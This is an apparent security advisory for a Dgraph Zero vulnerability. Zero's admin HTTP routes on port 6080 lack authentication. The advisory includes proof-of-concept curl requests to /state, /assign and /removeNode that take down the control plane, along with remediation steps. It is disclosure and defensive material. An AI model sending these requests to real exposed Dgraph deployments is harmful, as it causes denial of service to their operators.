CVE-2026-102748: Dgraph: Zero Unauthenticated HTTP Admin removeNode Denial of Service

Published Oct 14, 2026
·
Updated

Summary

Dgraph v25.3.8 exposes a Zero HTTP administrative surface that is unauthenticated when port 6080 is reachable.

The exposed routes include:

- /state - /assign - /removeNode - /moveTablet

An unauthenticated request to /removeNode?id=1&group=0 on a single-node standalone deployment breaks the Zero control plane and leaves Alpha repeatedly failing to reconnect to localhost:5080.

Details

The issue exists because Zero administrative HTTP endpoints are registered directly without any authentication or IP-whitelist wrapper.

Relevant code paths:

- worker/serverstate.go:41 - dgraph/cmd/zero/run.go:295-301 - dgraph/cmd/zero/http.go:106-129 - dgraph/cmd/zero/zero.go:475-477

The relevant behavior is:

- disable-admin-http=false by default - /removeNode accepts attacker-controlled id and group - removeNode forwards those directly into Server.RemoveNode - for group=0, Server.RemoveNode immediately calls ProposePeerRemoval

This means a remote unauthenticated caller can directly trigger destructive membership operations if 6080 is exposed.

PoC

Read state without authentication

bash curl -i http://127.0.0.1:6080/state

Observed response included:

- Zero node id=1 - groupId=0 - leader=true - cluster topology and tablet state

<img width="1878" height="810" alt="图片" src="https://github.com/user-attachments/assets/c6a0001c-bcf7-45b6-a301-481f918be98a" />

Write-capable route without authentication

bash curl -i 'http://127.0.0.1:6080/assign?what=nsids&num=1'

Observed response:

text HTTP/1.1 200 OK ... {"startId":"1", "endId":"1", "readOnly":"0"}

This confirms the admin plane is not merely informational.

<img width="1877" height="805" alt="图片" src="https://github.com/user-attachments/assets/caf60927-83ba-495d-8c55-e48343b8a2c7" />

Destructive unauthenticated removeNode

bash curl -i 'http://127.0.0.1:6080/removeNode?id=1&group=0'

Observed result:

text curl: (52) Empty reply from server

<img width="1877" height="806" alt="图片" src="https://github.com/user-attachments/assets/a837c385-1c2d-42b6-a5c9-0d93a974ff4e" />

Immediately afterward:

bash curl -i http://127.0.0.1:6080/health

Observed result:

text curl: (56) Recv failure: Connection reset by peer

<img width="786" height="47" alt="图片" src="https://github.com/user-attachments/assets/bd5e977d-d046-4626-b3df-155b141564fa" />

Alpha health was still locally reachable, but Alpha logs began repeatedly reporting:

text dial tcp [::1]:5080: connect: connection refused

<img width="1688" height="197" alt="图片" src="https://github.com/user-attachments/assets/8ae3bb84-65bc-4951-ad32-5e1c3231c894" />

This confirms the request reached the destructive path and disrupted the Zero control plane.

Impact

Any deployment that exposes Zero HTTP on 6080 exposes destructive unauthenticated administrative capabilities.

An attacker can:

- read cluster topology and control-plane metadata - allocate IDs and timestamps - invoke destructive membership actions - disrupt the Zero control plane - indirectly destabilize Alpha nodes that depend on Zero connectivity

This is a high-value unauthenticated administrative exposure and, in the reproduced case, a practical denial of service against the control plane.

Other sources

Dgraph is an open source distributed GraphQL database. Prior to 25.4.0, Dgraph Zero registers administrative HTTP routes on port 6080 without authentication when the administrative interface is enabled. The /removeNode route accepts attacker-controlled id and group values and passes them to Server.RemoveNode, where group 0 can trigger ProposePeerRemoval. A remote unauthenticated attacker who can reach the Zero HTTP port can read topology through /state, allocate identifiers through /assign, access the exposed /moveTablet administrative route, or remove membership through /removeNode, disrupting the Zero control plane and destabilizing Alpha nodes that depend on Zero. The route registration occurs in dgraph/cmd/zero/run.go, and the demonstrated membership-removal path reaches Server.RemoveNode and ProposePeerRemoval. This issue is fixed in version 25.4.0.

— MITRE

Affected Software

2 affected componentsFixes available
Dgraph Dgraph Zero<25.4.0
go/github.com/dgraph-io/dgraph/v25<=25.3.8
25.4.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/dgraph-io/dgraph/v25 to a version that resolves this vulnerability.

    Fixed in 25.4.0
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 25.4.0
  3. Configuration

    Set disable-admin-http=true to disable the unauthenticated Zero HTTP administrative interface.

    Dgraph Zero HTTP administrative interface disable-admin-http = true

Event History

Oct 14, 2026
CVE Published
via MITRE·06:34 PM
Data Sourced
via MITRE·06:34 PM
DescriptionWeakness
Data Sourced
via NVD·07:17 PM
DescriptionSeverityWeakness
Oct 15, 2026
Advisory Published
via GitHub·08:17 PM
Data Sourced
via GitHub·08:17 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed?

Dgraph Zero instances prior to 25.4.0 are exposed when their administrative interface is enabled and an attacker can reach the Zero HTTP service on port 6080. The attacker does not need to authenticate.

2

What can an unauthenticated attacker do through the exposed service?

An attacker can query topology through /state, allocate identifiers through /assign, access /moveTablet, and invoke /removeNode. Supplying attacker-controlled id and group values to /removeNode can remove membership and disrupt the Zero control plane, destabilizing dependent Alpha nodes.

3

What should be done if upgrading cannot happen immediately?

Prevent untrusted network access to the Zero HTTP port 6080 and disable the administrative interface where possible. The issue depends on the administrative routes being enabled and reachable.

4

How can I determine whether the vulnerable administrative routes are exposed?

Check whether the Zero administrative interface is enabled and whether port 6080 is reachable by untrusted hosts. The affected route set includes /state, /assign, /moveTablet, and /removeNode.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203